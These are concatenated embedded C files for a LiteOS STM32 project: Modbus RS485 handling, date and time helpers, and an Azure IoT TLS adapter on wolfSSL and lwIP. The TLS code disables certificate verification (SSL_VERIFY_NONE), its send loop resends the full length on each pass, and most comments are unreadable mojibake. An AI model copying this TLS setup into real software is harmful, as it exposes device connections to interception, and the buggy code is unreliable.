if(TRUE == pBuff->bSend) /** ๅ้ข็ๅฝๆฐๅทฒ็ป็ป็ปๅฎๆฏ Modbus ๆฅๆ,ๅจๅๅคๅ้ๆฐๆฎ็็ถๆ */
{
/** ๅค็ send FIFO ้ฟๅบฆไนๅ่ฐ็จ Modbus_OnSendByFIFO() */
if(pBuff->TxCount < pBuff->TxLen)
{
uSendPerLeft = pBuff->TxLen - pBuff->TxCount; /** ๅฝๅๅฉไธๅคๅฐๆฐๆฎๅพ
ๅ้ */
Modbus_OnSendByFIFO(&pBuff->TxBuff[pBuff->TxCount], uSendPerLeft);
pBuff->TxCount += uSendPerLeft;
}
else if(pBuff->TxCount >= pBuff->TxLen)
{
// ๅๆฏ : ๆฌๆฌก้ๅ้็ๆฐๆฎ้ฝๅทฒ็ปๅ้ๅฎๆฏ
if(USART_GetFlagStatus(RS485_USART, USART_FLAG_TXE) == SET)
{
pBuff->bSend = FALSE;
pBuff->TxCount = 0;
RS485_RX_ON_TX_OFF; /** Enable RS485 receive */
}
}// if(TRUE == pBuff->bSend)
}
}
/** LiteOS ็ซฏ ่งฃๆๅนถ ็ป็ปๅพ
ๅๅค็ Modbus ๆฅๆๅ
ๅฎน */
void Mobus_ParserMsg(TBuffModbus *pBuff)
{
uint8_t uClassID = 0;
uint16_t uDataLen = 0;
if(NULL == pBuff)
{
return;
}
/** ่งฃๆ ๅบๅฏนๆฅๆ */
if(MODBUS_03 == pBuff->modbusCode)
{
// ๆฐๆฎ้ฟๅบฆ - ไปๆบๅบ็ญ็ DU ๅ้ฟๅบฆ
uDataLen = pBuff->RxBuff[2];
// ๅฏๅญๅจ็ฑปๅซ - ไปๆบๅบ็ญ็ๆฅๆไธญ DU ๅ็ฌฌ 1 ไธชๅญ่ๆฏ ไธปๆบ่ฏทๆฑ ็ๅฏๅญๅจ็ฑปๅซ
uClassID = pBuff->RxBuff[3];
switch(uClassID){
case MODBUS_03_SUB_06:{ // Motor State
SetMotorStatusNow((pBuff->RxBuff[5] & 0x07)); /* ็ตๅจๆบ็ถๆๅชไธๆฅๆ่ฟไธช Byte ไธญ็ไฝ 3 bitๆๅ
ณ */
break;
}
case MODBUS_03_SUB_07:{ // Motor Measure
stMotor.Measure.Meas_Ia = pBuff->RxBuff[4];
break;
}
default:{
return;
}
}
}
else
{
return; //ไธๆฏๆ็ๅ่ฝ็
}
/** ่งฃๆๅฎๆฏ Modbus ๆฅๆไนๅ,ๆๅฏไปฅ็ฝฎ 0 ๅ FALSE, ไธบไธๆฌกๆฅๆถๆฅๆๅๅๅค... */
pBuff->RxCount = 0;
pBuff->bNew = FALSE;
}
/***/
void ModbusProc_InTask(TBuffModbus *pBuff)
{
if(NULL == pBuff)
{
return;
}
Moubus_OnRecvive(&stBufModbus);
if(TRUE == pBuff->bNew) /** received one new packet */
{
LED1_OFF;
LED2_ON;
LED3_OFF;
Mobus_ParserMsg(&stBufModbus);
}
}
/**
* 1. ๆฃๆฅๆถ้ดๆฏๅฆๅๆณ
*/
// One-based array of days in year at month start
static const uint16_t _MonthDays[13] = {0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365};
//ๅคๆญๆฏๅฆๆฏ้ฐๅนด
/*
้ฐๅนดๆไธค็งๆ
ๅต๏ผ่ฎพๅนดไปฝไธบyear๏ผๅ๏ผ
๏ผ1๏ผๅฝyearๆฏ400็ๆดๅๆฐๆถไธบ้ฐๅนด๏ผๆกไปถ่กจ็คบไธบ๏ผ
year%400= =0
๏ผ2๏ผๅฝyearๆฏ4็ๆดๅๆฐ๏ผไฝไธๆฏ100็ๆดๅๆฐๆถไธบ้ฐๅนด๏ผๆกไปถไธบ๏ผ
year%4= =0 && year%100 != 0
*/
#define IsLeapYear(nYear) ((((nYear) & 3) == 0) && (((nYear) % 100) != 0 || ((nYear) % 400) == 0))
//่ฎก็ฎๆๅนดๆๆๆๅคๅฐๅคฉ
#define GetDaysInMonth(nYear, nMon) (_MonthDays[nMon] - _MonthDays[(nMon)-1] + (((nMon) == 2 && IsLeapYear(nYear)) ? 1 : 0))
uint8_t CheckOSTime(TDateTime * pTime)
{
// Validate year and month (ignore day of week and milliseconds)
if (pTime->y > 99 || pTime->mon < 1 || pTime->mon > 12)
return FALSE;
// Finish validating the date
if (pTime->d < 1 || pTime->d > GetDaysInMonth(pTime->y, pTime->mon) ||
pTime->h > 23 || pTime->min > 59 ||
pTime->s > 59 || pTime->ms>999)
{
return FALSE;
}
return TRUE;
}
/**
* 1.็ณป็ปๆถ้ๅๅงๅ
*/
void InitOSTime(TDateTime * pTime)
{
stNowTime.y = 18;
stNowTime.mon = 1;
stNowTime.d = 1;
stNowTime.h = 0;
stNowTime.min = 0;
stNowTime.s = 0;
stNowTime.ms = 0;
CheckOSTime(&stNowTime);
}
/**
* 1.ไปฅ็งไธบๅไฝๆถ้ด้ๅข, ไผๅจ los_tick.c ไธญ่ฐ็จ
*/
void OSTimeAddSecond(TDateTime * pTime)
{
uint16_t nDaysInMonth;
pTime->s++;
if(pTime->s >= 60)
{
pTime->s = 0;
pTime->min++;
if(pTime->min >= 60)
{
pTime->min = 0;
pTime->h++;
if(pTime->h >= 24)
{
pTime->h = 0;
pTime->d++;
//่ฎก็ฎๅฝๅๆๆๅคๅฐๅคฉ
nDaysInMonth =GetDaysInMonth(pTime->y, pTime->mon);
if(pTime->d > nDaysInMonth) //่ถ
่ฟไธไธชๆ
{
if(pTime->mon==12)
{
//ไธไธๅนด
pTime->d = 1;
pTime->mon = 1;
pTime->y++;
}
else
{
pTime->d = 1;
pTime->mon++;
}
}
}
}
}
}
```
CriticalSeg.h
```/*
***********************************************************************************
*
*ๅ่ฝ๏ผ
*
*
*
*่ฏดๆ๏ผ1.
* 2.
* 3.
*
*
*By :Liubing๏ผๅผๅฟๅฐฑๅฅฝ๏ผ
*Contact :371007204@qq.com
*History :2015/1/27 9:01:07
***********************************************************************************
*/
#ifndef _CRITICALSEG_H_
#define _CRITICALSEG_H_
#include "lb_type.h"
#ifdef _CRITICALSEG_C_
#define CRITICALSEG_EXT
#else
#define CRITICALSEG_EXT extern
#endif
#ifdef _CRITICALSEG_C_
#endif
#define OS_ENTER_CRITICAL STM32_DisableIRQ()
#define OS_EXIT_CRITICAL STM32_EnableIRQ()
CRITICALSEG_EXT void STM32_EnableIRQ( void );
CRITICALSEG_EXT void STM32_DisableIRQ( void );
#endif
```
tlsio_ssl_liteos.c
```// Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.
#include <stdlib.h>
#ifdef _CRTDBG_MAP_ALLOC
#include <crtdbg.h>
#endif
#define WOLFSSL_OPTIONS_IGNORE_SYS
#include "wolfssl/options.h"
#include "wolfssl/ssl.h"
#include "wolfssl/error-ssl.h"
#if 1//def FREERTOS_ARCH_ESP8266
//#include "openssl/ssl.h"
#include "lwip/opt.h"
#include "lwip/sockets.h"
#include "lwip/sys.h"
#else
//mock header
#include "liteos_mock.h"
#include "azure_c_shared_utility/gballoc.h"
#endif
#include <stdio.h>
#include <stdbool.h>
#include "azure_c_shared_utility/lock.h"
#include "azure_c_shared_utility/tlsio_openssl.h"
#include "azure_c_shared_utility/tlsio.h"
#include "azure_c_shared_utility/socketio.h"
#include "azure_c_shared_utility/xlogging.h"
#include "azure_c_shared_utility/crt_abstractions.h"
#include "azure_c_shared_utility/threadapi.h"
#define OPENSSL_FRAGMENT_SIZE 5120
#define OPENSSL_LOCAL_TCP_PORT 1000
#define MAX_RETRY 20
#define RETRY_DELAY 1000 * 1000 * 10 // 10s
#define RECEIVE_BUFFER_SIZE 1024
#define OPENSSL_SELECT_TIMEOUT 20
#define os_delay_us(x) ThreadAPI_Sleep((x)/1000)
struct timeval timeout = { OPENSSL_SELECT_TIMEOUT, 0 };
typedef enum TLSIO_STATE_TAG
{
TLSIO_STATE_NOT_OPEN,
TLSIO_STATE_OPENING,
TLSIO_STATE_OPEN,
TLSIO_STATE_CLOSING,
TLSIO_STATE_ERROR
} TLSIO_STATE;
typedef struct TLS_IO_INSTANCE_TAG
{
ON_BYTES_RECEIVED on_bytes_received;
ON_IO_OPEN_COMPLETE on_io_open_complete;
ON_IO_CLOSE_COMPLETE on_io_close_complete;
ON_IO_ERROR on_io_error;
void* on_bytes_received_context;
void* on_io_open_complete_context;
void* on_io_close_complete_context;
void* on_io_error_context;
WOLFSSL* ssl;
WOLFSSL_CTX* ssl_context;
TLSIO_STATE tlsio_state;
char* hostname;
int port;
char* certificate;
const char* x509certificate;
const char* x509privatekey;
int sock;
ip_addr_t target_ip;
} TLS_IO_INSTANCE;
/*this function destroys an option previously created*/
static void tlsio_openssl_DestroyOption(const char* name, const void* value)
{
/*since all options for this layer are actually string copies, disposing of one is just calling free*/
if (
(name == NULL) || (value == NULL)
)
{
LogError("invalid parameter detected: const char* name=%p, const void* value=%p", name, value);
}
else
{
if (
(strcmp(name, "TrustedCerts") == 0) ||
(strcmp(name, "x509certificate") == 0) ||
(strcmp(name, "x509privatekey") == 0)
)
{
platform_free((void*)value);
}
else
{
LogError("not handled option : %s", name);
}
}
}
static OPTIONHANDLER_HANDLE tlsio_openssl_retrieveoptions(CONCRETE_IO_HANDLE tlsio_handle)
{
(void)(tlsio_handle);
/* Not implementing any options */
return NULL;
}
static const IO_INTERFACE_DESCRIPTION tlsio_openssl_interface_description =
{
tlsio_openssl_retrieveoptions,
tlsio_openssl_create,
tlsio_openssl_destroy,
tlsio_openssl_open,
tlsio_openssl_close,
tlsio_openssl_send,
tlsio_openssl_dowork,
tlsio_openssl_setoption
};
static void indicate_open_complete(TLS_IO_INSTANCE* tls_io_instance, IO_OPEN_RESULT open_result)
{
if (tls_io_instance->on_io_open_complete == NULL)
{
LogError("NULL on_io_open_complete.");
}
else
{
tls_io_instance->on_io_open_complete(tls_io_instance->on_io_open_complete_context, open_result);
}
}
static int lwip_net_errno(int fd)
{
int sock_errno = 0;
u32_t optlen = sizeof(sock_errno);
getsockopt(fd, SOL_SOCKET, SO_ERROR, &sock_errno, &optlen);
return sock_errno;
}
static void lwip_set_non_block(int fd)
{
int flags = -1;
int error = 0;
while((void)1,1){
flags = fcntl(fd, F_GETFL, 0);
if (flags == -1){
error = lwip_net_errno(fd);
if (error != EINTR){
break;
}
} else{
break;
}
}
fcntl(fd, F_SETFL, O_NONBLOCK);
}
static int openssl_thread_LWIP_CONNECTION(TLS_IO_INSTANCE* p)
{
//LogInfo("openssl_thread_LWIP_CONNECTION begin: %d", system_get_free_heap_size());
//system_show_malloc();
int result = 0;
int ret = 0;
int ret_test = 0;
int sock;
struct sockaddr_in sock_addr;
fd_set readset;
fd_set writeset;
fd_set errset;
WOLFSSL_CTX *ctx;
WOLFSSL *ssl;
TLS_IO_INSTANCE* tls_io_instance = p;
LogInfo("OpenSSL thread start...");
{
LogInfo("create SSL context");
ctx = wolfSSL_CTX_new(wolfTLSv1_2_client_method());
if (ctx == NULL) {
result = __LINE__;
LogError("create new SSL CTX failed");
}
else
{
tls_io_instance->ssl_context = ctx;
LogInfo("set SSL context read buffer size");
//wolfSSL_CTX_set_read_ahead(ctx, OPENSSL_FRAGMENT_SIZE);
// LogInfo("create socket ......");
// LogInfo("size before creating socket: %d", system_get_free_heap_size());
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
result = __LINE__;
LogError("create socket failed");
}
else
{
int keepAlive = 1; //enable keepalive
int keepIdle = 20; //20s
int keepInterval = 2; //2s
int keepCount = 3; //retry # of times
tls_io_instance->sock = sock;
LogInfo("sock: %d", sock);
LogInfo("create socket OK");
LogInfo("set socket keep-alive ");
ret = 0;
ret_test = setsockopt(sock, SOL_SOCKET, SO_KEEPALIVE, (void *)&keepAlive, sizeof(keepAlive));
ret += ret_test?1:0;
ret_test = setsockopt(sock, IPPROTO_TCP, TCP_KEEPIDLE, (void *)&keepIdle, sizeof(keepIdle));
ret += ret_test?1:0;
ret_test = setsockopt(sock, IPPROTO_TCP, TCP_KEEPINTVL, (void *)&keepInterval, sizeof(keepInterval));
ret += ret_test?1:0;
ret_test = setsockopt(sock, IPPROTO_TCP, TCP_KEEPCNT, (void *)&keepCount, sizeof(keepCount));
ret += ret_test?1:0;
if (ret != 0){
result = __LINE__;
LogError("set socket keep-alive failed, ret = %d ", ret);
}
else
{
LogInfo("set socket keep-alive OK");
lwip_set_non_block(sock);
LogInfo("bind socket ......");
memset(&sock_addr, 0, sizeof(sock_addr));
sock_addr.sin_family = AF_INET;
sock_addr.sin_addr.s_addr = 0;
sock_addr.sin_port = 0; // random local port
ret = bind(sock, (struct sockaddr*)&sock_addr, sizeof(sock_addr));
// LogInfo("bind return: %d", ret);
if (ret != 0) {
result = __LINE__;
LogError("bind socket failed");
}
else
{
LogInfo("bind socket OK");
memset(&sock_addr, 0, sizeof(sock_addr));
sock_addr.sin_family = AF_INET;
sock_addr.sin_addr.s_addr = tls_io_instance->target_ip.addr;
sock_addr.sin_port = (u16_t)htons(tls_io_instance->port);
ret = connect(sock, (struct sockaddr*)&sock_addr, sizeof(sock_addr));
//LogInfo("connect return: %d %s", ret, ip_ntoa(&tls_io_instance->target_ip));
//LogInfo("EINPROGRESS: %d", EINPROGRESS);
if (ret == -1) {
ret = lwip_net_errno(sock);
LogInfo("lwip_net_errno ret: %d", ret);
if (ret != 115) { // EINPROGRESS
result = __LINE__;
ret = -1;
LogError("socket connect failed, not EINPROGRESS %s", tls_io_instance->hostname);
}
}
if(ret != -1)
{
FD_ZERO(&readset);
FD_ZERO(&writeset);
FD_ZERO(&errset);
FD_SET(sock, &readset);
FD_SET(sock, &writeset);
FD_SET(sock, &errset);
ret = lwip_select(sock + 1, NULL, &writeset, &errset, NULL);
if (ret <= 0) {
result = __LINE__;
LogError("select failed: %d", lwip_net_errno(sock));
} else
{
if (!FD_ISSET(sock, &writeset) || FD_ISSET(sock, &errset)) {
result = __LINE__;
LogError("socket Error: %d", lwip_net_errno(sock));
}else
{
{
LogInfo("Socket Connect OK");
wolfSSL_CTX_set_verify(ctx,SSL_VERIFY_NONE,0);
ssl = wolfSSL_new(ctx);
//LogInfo("after ssl new");
if (ssl == NULL) {
result = __LINE__;
LogError("create ssl failed");
}
else
{
tls_io_instance->ssl = ssl;
// LogInfo("SSL set fd");
ret = wolfSSL_set_fd(ssl, sock);
LogInfo("SSL_set_fd ret:%d", ret);
if (ret != 1){
result = __LINE__;
LogError("SSL_set_fd failed");
}
else{
int retry_connect = 0;
int connect_succeeded = false;
LogInfo("SSL connect... ");
FD_ZERO(&readset);
FD_SET(sock, &readset);
FD_ZERO(&writeset);
FD_SET(sock, &writeset);
FD_ZERO(&errset);
FD_SET(sock, &errset);
while (retry_connect < MAX_RETRY)
{
int ssl_state;
ret = lwip_select(sock + 1, &readset, &writeset, &errset, &timeout);
if (ret == 0) {
result = __LINE__;
LogInfo("SSL connect timeout");
break;
}
if (FD_ISSET(sock, &errset)) {
unsigned int len;
result = __LINE__;
LogInfo("error return : %d", lwip_net_errno(sock));
len = (unsigned int) sizeof( int );
if (0 != getsockopt (sock, SOL_SOCKET, SO_ERROR, &ret, &len))
LogInfo("SSL error ret : %d", ret); // socket is in error state
break;
}
ret = wolfSSL_connect(ssl);
if (ret == 1) { // ssl connect success
connect_succeeded = true;
break;
}
FD_ZERO(&readset);
FD_ZERO(&writeset);
FD_ZERO(&errset);
FD_SET(sock, &errset);
ssl_state = wolfSSL_get_error(ssl, ret);
if (ssl_state == SSL_ERROR_WANT_READ) {
FD_SET(sock, &readset);
} else if(ssl_state == SSL_ERROR_WANT_WRITE) {
FD_SET(sock, &writeset);
} else {
LogInfo("SSL state:%d", ssl_state);
result = __LINE__;
break;
}
retry_connect = retry_connect + 1;
//LogInfo("SSL connect retry: %d", retry_connect);
os_delay_us(RETRY_DELAY);
}
if (connect_succeeded == false)
{
result = __LINE__;
LogError("SSL_connect failed");
}else{
LogInfo("SSL connect ok");
result = 0;
}
}
}
}
}
}
}
}
}
}
}
}
//LogInfo("openssl_thread_LWIP_CONNECTION end: %d", system_get_free_heap_size());
if(result!=0){
tls_io_instance->tlsio_state = TLSIO_STATE_ERROR;
}
return result;
}
static int decode_ssl_received_bytes(TLS_IO_INSTANCE* tls_io_instance)
{
int result;
unsigned char buffer[RECEIVE_BUFFER_SIZE];
int rcv_bytes;
rcv_bytes = wolfSSL_read(tls_io_instance->ssl, buffer, sizeof(buffer));
// LogInfo("ssl_read: rcv_bytes %d", rcv_bytes);
if (rcv_bytes >= 0)
{
result = 0;
if (tls_io_instance->on_bytes_received == NULL)
{
LogError("NULL on_bytes_received.");
}
else
{
tls_io_instance->on_bytes_received(tls_io_instance->on_bytes_received_context, buffer, rcv_bytes);
}
}
else{
result = __LINE__;
}
return result;
}
static int destroy_openssl_instance(TLS_IO_INSTANCE* tls_io_instance)
{
int result = 0;
//LogInfo("destroy openssl begin: %d", system_get_free_heap_size());
if (tls_io_instance != NULL)
{
if (tls_io_instance->ssl != NULL)
{
wolfSSL_free(tls_io_instance->ssl);
tls_io_instance->ssl = NULL;
LogInfo("SSL_free");
}
if (tls_io_instance->sock >= 0)
{
int close_ret = close(tls_io_instance->sock);
if (close_ret != 0){
result = __LINE__;;
LogError("close socket failed");
}
LogInfo("close socket");
}
if (tls_io_instance->ssl_context != NULL)
{
wolfSSL_CTX_free(tls_io_instance->ssl_context);
tls_io_instance->ssl_context = NULL;
LogInfo("SSL_ctx_free");
}
//LogInfo("destroy end: %d", system_get_free_heap_size());
}
return result;
}
CONCRETE_IO_HANDLE tlsio_openssl_create(void* io_create_parameters)
{
//LogInfo("tlsio_openssl_create begin: %d", system_get_free_heap_size());
TLSIO_CONFIG* tls_io_config = (TLSIO_CONFIG*)io_create_parameters;
TLS_IO_INSTANCE* result;
if (tls_io_config == NULL)
{
result = NULL;
LogError("NULL tls_io_config.");
}
else
{
result = (TLS_IO_INSTANCE*) platform_malloc(sizeof(TLS_IO_INSTANCE));
if (result == NULL)
{
LogError("Failed allocating TLSIO instance.");
}
else
{
memset(result, 0, sizeof(TLS_IO_INSTANCE));
mallocAndStrcpy_s(&result->hostname, tls_io_config->hostname);
result->port = (int)tls_io_config->port;
result->ssl_context = NULL;
result->ssl = NULL;
result->certificate = NULL;
result->on_bytes_received = NULL;
result->on_bytes_received_context = NULL;
result->on_io_open_complete = NULL;
result->on_io_open_complete_context = NULL;
result->on_io_close_complete = NULL;
result->on_io_close_complete_context = NULL;
result->on_io_error = NULL;
result->on_io_error_context = NULL;
result->tlsio_state = TLSIO_STATE_NOT_OPEN;
result->x509certificate = NULL;
result->x509privatekey = NULL;
}
}
return (CONCRETE_IO_HANDLE)result;
}
void tlsio_openssl_destroy(CONCRETE_IO_HANDLE tls_io)
{
TLS_IO_INSTANCE* tls_io_instance = (TLS_IO_INSTANCE*)tls_io;
if (tls_io == NULL)
{
LogError("NULL tls_io.");
}
else
{
if ((tls_io_instance->tlsio_state == TLSIO_STATE_OPENING) ||
(tls_io_instance->tlsio_state == TLSIO_STATE_OPEN) ||
(tls_io_instance->tlsio_state == TLSIO_STATE_CLOSING))
{
LogError("TLS destroyed with a SSL connection still active.");
}
if (tls_io_instance->certificate != NULL)
{
platform_free(tls_io_instance->certificate);
}
if (tls_io_instance->hostname != NULL)
{
platform_free(tls_io_instance->hostname);
}
if (tls_io_instance->x509certificate != NULL)
{
platform_free((void*)tls_io_instance->x509certificate);
}
if (tls_io_instance->x509privatekey != NULL)
{
platform_free((void*)tls_io_instance->x509privatekey);
}
platform_free(tls_io_instance);
}
//LogInfo("tlsio_openssl_destroy end: %d", system_get_free_heap_size());
}
int tlsio_openssl_open(CONCRETE_IO_HANDLE tls_io, ON_IO_OPEN_COMPLETE on_io_open_complete, void* on_io_open_complete_context, ON_BYTES_RECEIVED on_bytes_received, void* on_bytes_received_context, ON_IO_ERROR on_io_error, void* on_io_error_context)
{
//LogInfo("tlsio_openssl_open begin: %d", system_get_free_heap_size());
int result;
if (tls_io == NULL)
{
result = __LINE__;
LogError("NULL tls_io.");
}
else
{
TLS_IO_INSTANCE* tls_io_instance = (TLS_IO_INSTANCE*)tls_io;
if (tls_io_instance->tlsio_state != TLSIO_STATE_NOT_OPEN && tls_io_instance->tlsio_state != TLSIO_STATE_ERROR)
{
tls_io_instance->tlsio_state = TLSIO_STATE_ERROR;
tls_io_instance->on_io_error = on_io_error;
tls_io_instance->on_io_error_context = on_io_error_context;
result = __LINE__;
LogError("Invalid tlsio_state for open. Expected state is TLSIO_STATE_NOT_OPEN or TLSIO_STATE_ERROR.");
if (tls_io_instance->on_io_error != NULL)
{
tls_io_instance->on_io_error(tls_io_instance->on_io_error_context);
}
}
else
{
int netconn_retry = 0;
int ret;
tls_io_instance->on_io_open_complete = on_io_open_complete;
tls_io_instance->on_io_open_complete_context = on_io_open_complete_context;
tls_io_instance->on_bytes_received = on_bytes_received;
tls_io_instance->on_bytes_received_context = on_bytes_received_context;
tls_io_instance->on_io_error = on_io_error;
tls_io_instance->on_io_error_context = on_io_error_context;
tls_io_instance->tlsio_state = TLSIO_STATE_OPENING;
do {
//LogInfo("size before netconn_gethostbyname: %d", system_get_free_heap_size());
ret = netconn_gethostbyname(tls_io_instance->hostname, &tls_io_instance->target_ip);
} while((ret != 0) && netconn_retry++ < MAX_RETRY);
if (ret != 0 || openssl_thread_LWIP_CONNECTION(tls_io_instance) != 0){
tls_io_instance->tlsio_state = TLSIO_STATE_ERROR;
indicate_open_complete(tls_io_instance, IO_OPEN_ERROR);
result = __LINE__;
LogError("openssl_thread_LWIP_CONNECTION failed.");
if (tls_io_instance->on_io_error != NULL)
{
tls_io_instance->on_io_error(tls_io_instance->on_io_error_context);
}
}else{
tls_io_instance->tlsio_state = TLSIO_STATE_OPEN;
indicate_open_complete(tls_io_instance, IO_OPEN_OK);
result = 0;
os_delay_us(5000000); //delay added to give reconnect time to send last message
//LogInfo("tlsio_openssl_open end: %d", system_get_free_heap_size());
}
}
}
return result;
}
int tlsio_openssl_close(CONCRETE_IO_HANDLE tls_io, ON_IO_CLOSE_COMPLETE on_io_close_complete, void* callback_context)
{
int result;
//LogInfo("tlsio_openssl_close begin: %d", system_get_free_heap_size());
LogInfo("tlsio_openssl_close");
if (tls_io == NULL)
{
result = __LINE__;
LogError("NULL tls_io.");
}
else
{
TLS_IO_INSTANCE* tls_io_instance = (TLS_IO_INSTANCE*)tls_io;
if ((tls_io_instance->tlsio_state == TLSIO_STATE_NOT_OPEN) ||
(tls_io_instance->tlsio_state == TLSIO_STATE_CLOSING) ||
(tls_io_instance->tlsio_state == TLSIO_STATE_OPENING))
{
result = __LINE__;
tls_io_instance->tlsio_state = TLSIO_STATE_ERROR;
LogError("Invalid tlsio_state for close. Expected state is TLSIO_STATE_OPEN or TLSIO_STATE_ERROR.");
}
else
{
int ret;
tls_io_instance->on_io_close_complete = on_io_close_complete;
tls_io_instance->on_io_close_complete_context = callback_context;
tls_io_instance->tlsio_state = TLSIO_STATE_CLOSING;
ret = destroy_openssl_instance(tls_io_instance);
if (ret != 0)
{
result = __LINE__;
tls_io_instance->tlsio_state = TLSIO_STATE_ERROR;
if (tls_io_instance->on_io_error != NULL)
{
tls_io_instance->on_io_error(tls_io_instance->on_io_error_context);
}
}
else
{
tls_io_instance->tlsio_state = TLSIO_STATE_NOT_OPEN;
result = 0;
if (tls_io_instance->on_io_close_complete != NULL)
{
tls_io_instance->on_io_close_complete(tls_io_instance->on_io_close_complete_context);
}
}
}
}
//LogInfo("tlsio_openssl_close end: %d", system_get_free_heap_size());
return result;
}
int tlsio_openssl_send(CONCRETE_IO_HANDLE tls_io, const void* buffer, size_t size, ON_SEND_COMPLETE on_send_complete, void* callback_context)
{
int result;
if ((tls_io == NULL) || (buffer == NULL) || (size == 0))
{
result = __LINE__;
LogError("Invalid parameter.");
}
else
{
TLS_IO_INSTANCE* tls_io_instance = (TLS_IO_INSTANCE*)tls_io;
if (tls_io_instance->tlsio_state != TLSIO_STATE_OPEN)
{
result = __LINE__;
LogError("TLS is not ready to send data. Expected state is TLSIO_STATE_OPEN.");
//LogInfo("TLS is not ready to send data. Expected state is TLSIO_STATE_OPEN.");
}
else
{
int total_write = 0;
int ret = 0;
int need_sent_bytes = (int)size;
fd_set writeset;
fd_set errset;
while(need_sent_bytes > 0)
{
FD_ZERO(&writeset);
FD_SET(tls_io_instance->sock, &writeset);
FD_ZERO(&errset);
FD_SET(tls_io_instance->sock, &errset);
ret = lwip_select(tls_io_instance->sock + 1, NULL, &writeset, &errset, &timeout);
if (ret == 0) {
result = __LINE__;
LogError("select timeout and no data to be write");
break;
} else if (ret < 0 || FD_ISSET(tls_io_instance->sock, &errset)) {
result = __LINE__;
LogError("get error %d", lwip_net_errno(tls_io_instance->sock));
break;
}
ret = wolfSSL_write(tls_io_instance->ssl, ((u8_t*)buffer)+total_write, (int)size);
// LogInfo("SSL_write ret: %d", ret);
//LogInfo("SSL_write res: %d, size: %d, retry: %d", res, size, retry);
if(ret > 0){
total_write += ret;
need_sent_bytes = need_sent_bytes - ret;
}
else
{
result = __LINE__;
LogError("SSL_write failed.");
break;
}
}
if (need_sent_bytes != 0)
{
LogInfo("ssl write failed, return [-0x%x]", -ret);
ret = wolfSSL_shutdown(tls_io_instance->ssl);
LogInfo("wolfSSL_shutdown ret: %d", ret);
result = __LINE__;
if (on_send_complete != NULL)
{
on_send_complete(callback_context, IO_SEND_ERROR);
}
}
else
{
result = 0;
// LogInfo("SSL Write OK");
if (on_send_complete != NULL)
{
on_send_complete(callback_context, IO_SEND_OK);
}
}
// LogInfo("total write: %d", total_write);
}
}
return result;
}
void tlsio_openssl_dowork(CONCRETE_IO_HANDLE tls_io)
{
if (tls_io == NULL)
{
LogError("NULL tls_io.");
}
else
{
TLS_IO_INSTANCE* tls_io_instance = (TLS_IO_INSTANCE*)tls_io;
if (tls_io_instance->tlsio_state == TLSIO_STATE_OPEN)
{
int ret = decode_ssl_received_bytes(tls_io_instance);
if (ret != 0)
{
ret = wolfSSL_shutdown(tls_io_instance->ssl);
//LogInfo("wolfSSL_shutdown ret: %d", ret);
}
}
else
{
//LogError("Invalid tlsio_state for dowork. Expected state is TLSIO_STATE_OPEN.");
}
}
}
int tlsio_openssl_setoption(CONCRETE_IO_HANDLE tls_io, const char* optionName, const void* value)
{
(void)tls_io, (void)optionName, (void)value;
/* Not implementing any options */
return 0;
}
const IO_INTERFACE_DESCRIPTION* tlsio_openssl_get_interface_description(void)
{
return &tlsio_openssl_interface_description;
}
```
main.c
```/* Includes LiteOS------------------------------------------------------------------*/
#include "stdlib.h"
#include "string.h"
#include "los_base.h"
#include "los_config.h"
#include "los_typedef.h"
#include "los_hwi.h"
#include "los_task.ph"
#include "los_sem.h"
#include "los_event.h"
#include "los_memory.h"
#include "los_queue.ph"
#include "cmsis_os.h"
#include <stdio.h>
#include "stm32f4xx.h"
#include "stm32f4xx_conf.h"
#include "bsp_led.h"
#include "bsp_debug_usart.h"
#include "dwt.h"
#include "bsp_key.h"
/* Private typedef -----------------------------------------------------------*/
/* Private define ------------------------------------------------------------*/
/* Private macro -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
KEY Key1,Key2;
UINT32 g_TskHandle;
__IO uint32_t LocalTime = 0; /* this variable is used to create a time reference incremented by 10ms */
/* Private function prototypes -----------------------------------------------*/
static void TIM3_Config(uint16_t period,uint16_t prescaler);
/* Private functions ---------------------------------------------------------*/
void TIM3_IRQHandler(void);
void hardware_init(void)
{
LED_GPIO_Config();
Key1_GPIO_Config();
Key2_GPIO_Config();
KeyCreate(&Key1,GetPinStateOfKey1);
KeyCreate(&Key2,GetPinStateOfKey2);
Debug_USART_Config();
DelayInit(SystemCoreClock);
LOS_HwiCreate(TIM3_IRQn, 0,0,TIM3_IRQHandler,NULL);
TIM3_Config(999,899);
printf("Sysclock is %d\r\n",SystemCoreClock);
}
static void TIM3_Config(uint16_t period,uint16_t prescaler)
{
TIM_TimeBaseInitTypeDef TIM_TimeBaseInitStructure;
NVIC_InitTypeDef NVIC_InitStructure;
RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM3,ENABLE);
TIM_TimeBaseInitStructure.TIM_Prescaler=prescaler;
TIM_TimeBaseInitStructure.TIM_CounterMode=TIM_CounterMode_Up;
TIM_TimeBaseInitStructure.TIM_Period=period;
TIM_TimeBaseInitStructure.TIM_ClockDivision=TIM_CKD_DIV1;
TIM_TimeBaseInit(TIM3,&TIM_TimeBaseInitStructure);
TIM_ITConfig(TIM3,TIM_IT_Update,ENABLE);
TIM_Cmd(TIM3,ENABLE);
NVIC_InitStructure.NVIC_IRQChannel=TIM3_IRQn;
NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority=0x01;
NVIC_InitStructure.NVIC_IRQChannelSubPriority=0x03;
NVIC_InitStructure.NVIC_IRQChannelCmd=ENABLE;
NVIC_Init(&NVIC_InitStructure);
}
void TIM3_IRQHandler(void)
{
if(TIM_GetITStatus(TIM3,TIM_IT_Update)==SET)
{
LocalTime+=10;
}
TIM_ClearITPendingBit(TIM3,TIM_IT_Update);
}
VOID task1()
{
int count = 0;
while(1)
{
count++;
printf("------This is task1,count is %d\r\n",count);
LOS_TaskDelay(2000);
}
}
UINT32 creat_task1()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "task1";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)task1;
task_init_param.uwStackSize = 0x400;
uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
VOID task2()
{
int count = 0;
while(1)
{
count++;
printf("++++++++This is task2,count is %d\r\n",count);
